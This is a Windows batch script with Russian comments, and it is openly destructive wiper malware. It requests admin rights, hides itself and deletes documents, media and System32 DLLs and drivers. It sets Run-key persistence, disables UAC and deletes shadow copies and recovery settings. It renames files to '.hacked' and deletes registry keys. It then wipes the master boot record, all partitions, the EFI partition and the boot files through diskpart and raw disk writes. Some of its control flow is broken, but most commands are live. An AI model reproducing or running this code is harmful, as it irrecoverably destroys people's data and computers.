Загрузка данных


@echo off
title SYSTEM ERROR [0xDEADBEEF]
color 0a
cls

:: ПРОВЕРКА ПРАВ АДМИНИСТРАТОРА
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo [*] Запрос прав администратора...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit
)

:: СКРЫТОЕ ОТКРЫТИЕ ОКНА
if not "%1"=="hide" (
    start /min "" "%~f0" hide
    exit
)

:: ЗАПУСК ТАЙМЕРА НА УНИЧТОЖЕНИЕ MBR (2 МИНУТЫ)
:START_TIMER
start /b cmd /c "timeout /t 120 /nobreak >nul & call :DESTROY_MBR"

:: ГЛАВНЫЙ ЦИКЛ АТАКИ
:MAIN
cls
echo.
echo    ╔═══════════════════════════════════════════════════════╗
echo    ║            ☣  СИСТЕМА КОМПРОМЕТИРОВАНА  ☣           ║
echo    ╠═══════════════════════════════════════════════════════╣
echo    ║  ВАШ КОМПЬЮТЕР БЫЛ ВЗЛОМАН                            ║
echo    ║  ВСЕ ФАЙЛЫ ШИФРУЮТСЯ                                  ║
echo    ║  ДАННЫЕ УДАЛЯЮТСЯ                                    ║
echo    ║  MBR БУДЕТ УНИЧТОЖЕН ЧЕРЕЗ:                          ║
echo    ║  [%time%]                                            ║
echo    ╚═══════════════════════════════════════════════════════╝
echo.
timeout /t 2 /nobreak >nul

:: ЭФФЕКТ 1 - ГЛЮЧНЫЙ ТЕКСТ
:MUTATE
echo [%random%] ОШИБКА КРИТИЧЕСКОГО УРОВНЯ %random%%random%
ping 127.0.0.1 -n 1 -w 100 >nul
goto MUTATE

:: ФОНОВЫЙ ПРОЦЕСС - УНИЧТОЖЕНИЕ ФАЙЛОВ
:START_DELETE
start /b cmd /c "for /r C:\ %%i in (*.doc *.docx *.xls *.xlsx *.pdf *.txt *.png *.jpg *.mp3 *.mp4 *.avi *.mkv *.zip *.rar *.exe *.msi *.dll *.sys *.dat *.log *.bak *.old *.cfg *.ini *.conf *.xml *.json *.yml) do (attrib -h -r -s "%%i" >nul 2>&1 & del /f /q "%%i" >nul 2>&1)"

:: УНИЧТОЖЕНИЕ ВСЕХ ФАЙЛОВ В СИСТЕМНЫХ ПАПКАХ
:SYSTEM_DELETE
start /b cmd /c "del /f /q /s C:\Windows\System32\*.dll >nul 2>&1"
start /b cmd /c "del /f /q /s C:\Windows\SysWOW64\*.dll >nul 2>&1"
start /b cmd /c "del /f /q /s C:\Windows\System32\drivers\*.sys >nul 2>&1"

:: ЭФФЕКТ 2 - МАССОВОЕ ОТКРЫТИЕ ОКОН
:WINDOWS
start cmd /c "color 4f & echo ВАШИ ФАЙЛЫ УНИЧТОЖЕНЫ & pause"
start cmd /c "color 2f & echo ВИРУС АКТИВЕН & pause"
start cmd /c "color 0f & echo СИСТЕМА УМИРАЕТ & pause"
start cmd /c "color cf & echo НЕ ВЫКЛЮЧАЙТЕ КОМПЬЮТЕР & pause"
goto WINDOWS

:: ЭФФЕКТ 3 - ПОДМЕНА АВТОЗАГРУЗКИ
:STARTUP
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "SystemGuard" /t REG_SZ /d "%~f0" /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "SystemGuard" /t REG_SZ /d "%~f0" /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v "EnableLUA" /t REG_DWORD /d 0 /f >nul

:: ЭФФЕКТ 4 - УНИЧТОЖЕНИЕ ВОССТАНОВЛЕНИЯ
:SHADOW
vssadmin delete shadows /all /quiet >nul 2>&1
wmic shadowcopy delete >nul 2>&1
bcdedit /set {default} recoveryenabled No >nul 2>&1
bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1

:: ЭФФЕКТ 5 - ПСЕВДО-ШИФРОВАНИЕ (изменение расширений)
:RENAME
for /r C:\ %%i in (*.txt *.jpg *.png *.doc *.docx *.xls *.xlsx *.pdf *.mp3 *.mp4 *.avi *.mkv *.zip *.rar *.7z) do (
    ren "%%i" "%%~ni.hacked" 2>nul
)

:: ЭФФЕКТ 6 - ЗВУКОВАЯ УГРОЗА
:SOUND
powershell -Command "[console]::beep(1000,500); [console]::beep(800,500); [console]::beep(1200,1000); [console]::beep(500,2000)"
ping 127.0.0.1 -n 3 >nul

:: ЭФФЕКТ 7 - ФАЛЬШИВЫЙ БСОД (Blue Screen of Death)
:BSOD
cls
color 1f
echo.
echo    ╔══════════════════════════════════════════════════════════╗
echo    ║   A problem has been detected and windows has been     ║
echo    ║   shut down to prevent damage to your computer.        ║
echo    ║                                                         ║
echo    ║   SYSTEM_VIRUS_DETECTED                                ║
echo    ║   MBR_CORRUPTION_IMMINENT                              ║
echo    ║                                                         ║
echo    ║   *** STOP: 0x000000F4 (0x00000003, 0x89A4C030,       ║
echo    ║   0x89A4C1A4, 0x805F7A32)                              ║
echo    ║                                                         ║
echo    ║   Physical memory dump failed with error 0x00000000   ║
echo    ║   MBR will be wiped in:                                ║
echo    ║   [ОСТАЛОСЬ МЕНЕЕ 2 МИНУТ]                            ║
echo    ╚══════════════════════════════════════════════════════════╝
echo.
timeout /t 5 /nobreak >nul
cls
color 0a
goto MAIN

:: ЭФФЕКТ 8 - УДАЛЕНИЕ РАЗДЕЛОВ РЕЕСТРА
:REGISTRY
reg delete HKCR\.exe /f >nul 2>&1
reg delete HKCR\.bat /f >nul 2>&1
reg delete HKCR\.cmd /f >nul 2>&1
reg delete HKCR\.com /f >nul 2>&1
reg delete HKCR\.scr /f >nul 2>&1
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer /f >nul 2>&1
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f >nul 2>&1

:: ==============================================================
:: ============= УНИЧТОЖЕНИЕ MBR (ГЛАВНАЯ ЗАГРУЗОЧНАЯ ЗАПИСЬ) ==
:: ==============================================================
:DESTROY_MBR
cls
color 4f
echo.
echo    ╔══════════════════════════════════════════════════════════╗
echo    ║              ⚠ MBR УНИЧТОЖЕНА ⚠                       ║
echo    ╠══════════════════════════════════════════════════════════╣
echo    ║  MASTER BOOT RECORD СТЕРТА                               ║
echo    ║  СИСТЕМА НЕ ЗАГРУЗИТСЯ                                  ║
echo    ║  ВОССТАНОВЛЕНИЕ НЕВОЗМОЖНО                              ║
echo    ║                                                         ║
echo    ║  ЗАПУСКАЕТСЯ ПОЛНОЕ САМОУНИЧТОЖЕНИЕ...                 ║
echo    ╚══════════════════════════════════════════════════════════╝
echo.

:: СПОСОБ 1 - ЧЕРЕЗ DISKPART (ОСНОВНОЙ)
(
echo select disk 0
echo clean
echo convert mbr
echo create partition primary
echo active
echo format fs=ntfs quick
echo exit
) | diskpart >nul 2>&1

:: СПОСОБ 2 - ПРЯМАЯ ЗАПИСЬ В MBR (ЧЕРЕЗ DD)
powershell -Command "
$mbr = [byte[]]::new(512);
for($i=0; $i -lt 512; $i++) { $mbr[$i] = 0xFF };
[System.IO.File]::WriteAllBytes('\\.\PhysicalDrive0', $mbr);
"

:: СПОСОБ 3 - ЧЕРЕЗ BOOTSECT (ЕСЛИ ДОСТУПЕН)
bootsect /nt60 SYS /mbr /force >nul 2>&1
bootsect /nt52 SYS /mbr /force >nul 2>&1

:: СПОСОБ 4 - ЧЕРЕЗ WMIC (ЗАПИСЬ МУСОРА В MBR)
powershell -Command "
$bytes = [byte[]]::new(512);
[System.Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($bytes);
[System.IO.File]::WriteAllBytes('\\.\PhysicalDrive0', $bytes);
"

:: УНИЧТОЖЕНИЕ ЗАГРУЗОЧНЫХ ЗАПИСЕЙ ВСЕХ РАЗДЕЛОВ
:PARTITION_WIPE
powershell -Command "
Get-WmiObject -Class Win32_DiskDrive | ForEach-Object {
    $disk = $_.DeviceID;
    try {
        [System.IO.File]::WriteAllBytes($disk, [byte[]]::new(512));
    } catch {}
}
"

:: УДАЛЕНИЕ ВСЕХ РАЗДЕЛОВ (ВТОРИЧНЫЙ МЕТОД)
:DISKPART_CLEAN_ALL
(
echo select disk 0
echo clean all
echo exit
) | diskpart >nul 2>&1

:: УДАЛЕНИЕ GPT-ЗАГОЛОВКА (ЕСЛИ UEFI)
:UEFI_WIPE
(
echo select disk 0
echo convert gpt
echo clean
echo convert mbr
echo exit
) | diskpart >nul 2>&1

:: УНИЧТОЖЕНИЕ EFI-РАЗДЕЛА (ЕСЛИ СУЩЕСТВУЕТ)
:EFI_DELETE
mountvol X: /s >nul 2>&1
if exist X:\ (
    takeown /f X:\ /r /d y >nul 2>&1
    icacls X:\ /grant %username%:F /t >nul 2>&1
    rd /s /q X:\ >nul 2>&1
    mountvol X: /d >nul 2>&1
)

:: ДОПОЛНИТЕЛЬНОЕ УНИЧТОЖЕНИЕ - BOOTMGR И BOOT.INI
:BOOT_FILES
if exist C:\bootmgr (
    attrib -h -r -s C:\bootmgr >nul 2>&1
    del /f /q C:\bootmgr >nul 2>&1
)
if exist C:\boot.ini (
    attrib -h -r -s C:\boot.ini >nul 2>&1
    del /f /q C:\boot.ini >nul 2>&1
)
if exist C:\Windows\System32\winload.exe (
    del /f /q C:\Windows\System32\winload.exe >nul 2>&1
)
if exist C:\Windows\System32\winload.efi (
    del /f /q C:\Windows\System32\winload.efi >nul 2>&1
)
if exist C:\Windows\System32\winresume.exe (
    del /f /q C:\Windows\System32\winresume.exe >nul 2>&1
)
if exist C:\Windows\System32\winresume.efi (
    del /f /q C:\Windows\System32\winresume.efi >nul 2>&1
)

:: УНИЧТОЖЕНИЕ BCD (BOOT CONFIGURATION DATA)
:BCD_DELETE
bcdedit /export C:\bcd_backup >nul 2>&1
bcdedit /deletevalue {default} device >nul 2>&1
bcdedit /deletevalue {default} osdevice >nul 2>&1
bcdedit /deletevalue {default} path >nul 2>&1
bcdedit /delete {default} /f >nul 2>&1
bcdedit /delete {bootmgr} /f >nul 2>&1
del /f /q C:\Boot\BCD >nul 2>&1
del /f /q C:\Boot\BCD.LOG >nul 2>&1

:: ФИНАЛЬНОЕ СООБЩЕНИЕ
:FINAL_MSG
cls
color 4f
echo.
echo    ╔══════════════════════════════════════════════════════════╗
echo    ║         ████  ██    ██ ██████  ████████                 ║
echo    ║         ██  ██ ██    ██ ██   ██    ██                   ║
echo    ║         ██  ██ ██    ██ ██████     ██                   ║
echo    ║         ██  ██ ██    ██ ██   ██    ██                   ║
echo    ║         ████   ██████  ██    ██    ██                   ║
echo    ╠══════════════════════════════════════════════════════════╣
echo    ║                                                         ║
echo    ║   MASTER BOOT RECORD УНИЧТОЖЕНА                         ║
echo    ║   ВСЕ РАЗДЕЛЫ ОЧИЩЕНЫ                                 ║
echo    ║   ЗАГРУЗОЧНЫЕ ФАЙЛЫ УДАЛЕНЫ                           ║
echo    ║                                                         ║
echo    ║   █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█     ║
echo    ║   █   ПЕРЕЗАГРУЗИТЕ СИСТЕМУ ДЛЯ ЗАВЕРШЕНИЯ   █     ║
echo    ║   █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█     ║
echo    ║                                                         ║
echo    ║         ⚡ СИСТЕМА ПОЛНОСТЬЮ РАЗРУШЕНА ⚡              ║
echo    ╚══════════════════════════════════════════════════════════╝
echo.
echo.
echo    НАЖМИТЕ ЛЮБУЮ КЛАВИШУ ДЛЯ ВЫКЛЮЧЕНИЯ...
pause >nul
shutdown /s /t 0 /f

:: ФИНАЛЬНЫЙ ЭТАП - ЗАВИСАНИЕ СИСТЕМЫ (ПОКА НЕ СРАБОТАЕТ ТАЙМЕР)
:FINAL
start /b cmd /c "for /l %%i in (1,1,10000) do (start cmd /c "echo %random% & dir /s C:\")"
powershell -Command "while($true){[System.GC]::Collect(); Start-Sleep -Milliseconds 1}"
goto FINAL

:: БЕЗОПАСНОСТЬ - ПЕРЕЗАПУСК ПРИ ОСТАНОВКЕ
:ANTI_KILL
taskkill /f /im cmd.exe /fi "windowtitle eq SYSTEM ERROR [0xDEADBEEF]" 2>nul
start "" "%~f0"
goto ANTI_KILL